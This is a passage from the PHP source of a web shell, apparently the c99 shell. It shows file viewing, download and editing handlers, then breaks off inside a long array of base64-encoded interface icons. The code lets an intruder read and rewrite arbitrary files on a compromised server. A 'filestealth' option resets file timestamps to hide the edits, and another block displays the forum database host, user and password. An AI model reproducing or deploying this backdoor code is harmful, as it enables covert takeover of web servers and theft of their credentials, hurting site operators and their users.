        else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
        echo "Parameters for manual connect:<br>";
        $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
        foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
        echo "</b><hr size=\"1\" noshade>";
      }
    }
    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
    if (!empty($white)) {@ob_clean();}
    highlight_file($d.$f);
    if (!empty($white)) {c99shexit();}
    echo "</div>";
  }
  elseif ($ft == "download") {
    @ob_clean();
    header("Content-type: application/octet-stream");
    header("Content-length: ".filesize($d.$f));
    header("Content-disposition: attachment; filename=\"".$f."\";");
    echo $r;
    exit;
  }
  elseif ($ft == "notepad") {
    @ob_clean();
    header("Content-type: text/plain");
    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
    echo($r);
    exit;
  }
  elseif ($ft == "img") {
    $inf = getimagesize($d.$f);
    if (!$white) {
      if (empty($imgsize)) {$imgsize = 20;}
      $width = $inf[0]/100*$imgsize;
      $height = $inf[1]/100*$imgsize;
      echo "<center><b>Size:</b>&nbsp;";
      $sizes = array("100","50","20");
      foreach ($sizes as $v) {
        echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
        if ($imgsize != $v ) {echo $v;}
        else {echo "<u>".$v."</u>";}
        echo "</a>&nbsp;&nbsp;&nbsp;";
      }
      echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
    }
    else {
      @ob_clean();
      $ext = explode($f,".");
      $ext = $ext[count($ext)-1];
      header("Content-type: ".$inf["mime"]);
      readfile($d.$f);
      exit;
    }
  }
  elseif ($ft == "edit") {
   if (!empty($submit))
   {
    if ($filestealth) {$stat = stat($d.$f);}
    $fp = fopen($d.$f,"w");
    if (!$fp) {echo "<b>Can't write to file!</b>";}
    else
    {
     echo "<b>Saved!</b>";
     fwrite($fp,$edit_text);
     fclose($fp);
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
     $r = $edit_text;
    }
   }
   $rows = count(explode("
",$r));
   if ($rows < 10) {$rows = 10;}
   if ($rows > 30) {$rows = 30;}
   echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  }
  elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
}
echo "</div>
";
}
}
else {
@ob_clean();
$images = array(
"arrow_ltr"=>
"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
"back"=>
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
"Wg0JADs=",
"buffer"=>
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
"change"=>
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
"zMshADs=",
"delete"=>
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
"download"=>
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
"forward"=>
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
"WqsJADs=",
"home"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
"mode"=>
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
"search"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
"setup"=>
"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
"small_dir"=>
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
"small_unk"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
"yAsokBkQADs=",
"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
"sort_asc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
"sort_desc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
"sql_button_drop"=>
"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
"AQEAOw==",
"sql_button_empty"=>
"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
"sql_button_insert"=>
"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
"up"=>
"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
"write"=>
"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
"ext_asp"=>
"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
"ext_mp3"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
"ext_avi"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
"ext_cgi"=>
"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
"RYtMAgEAOw==",
"ext_cmd"=>
"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
"dmrYAMn1onq/YKpjvEgAADs=",
"ext_cpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
"Eq7YrLDE7a4SADs=",
"ext_ini"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
"SnEjgPVarHEHgrB43JvszsQEADs=",
"ext_diz"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
"Ow==",
"ext_doc"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
"ext_exe"=>
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
"xhIAOw==",
"ext_h"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
"Wq/NknbbSgAAOw==",
"ext_hpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
"UqUagnbLdZa+YFcCADs=",
"ext_htaccess"=>
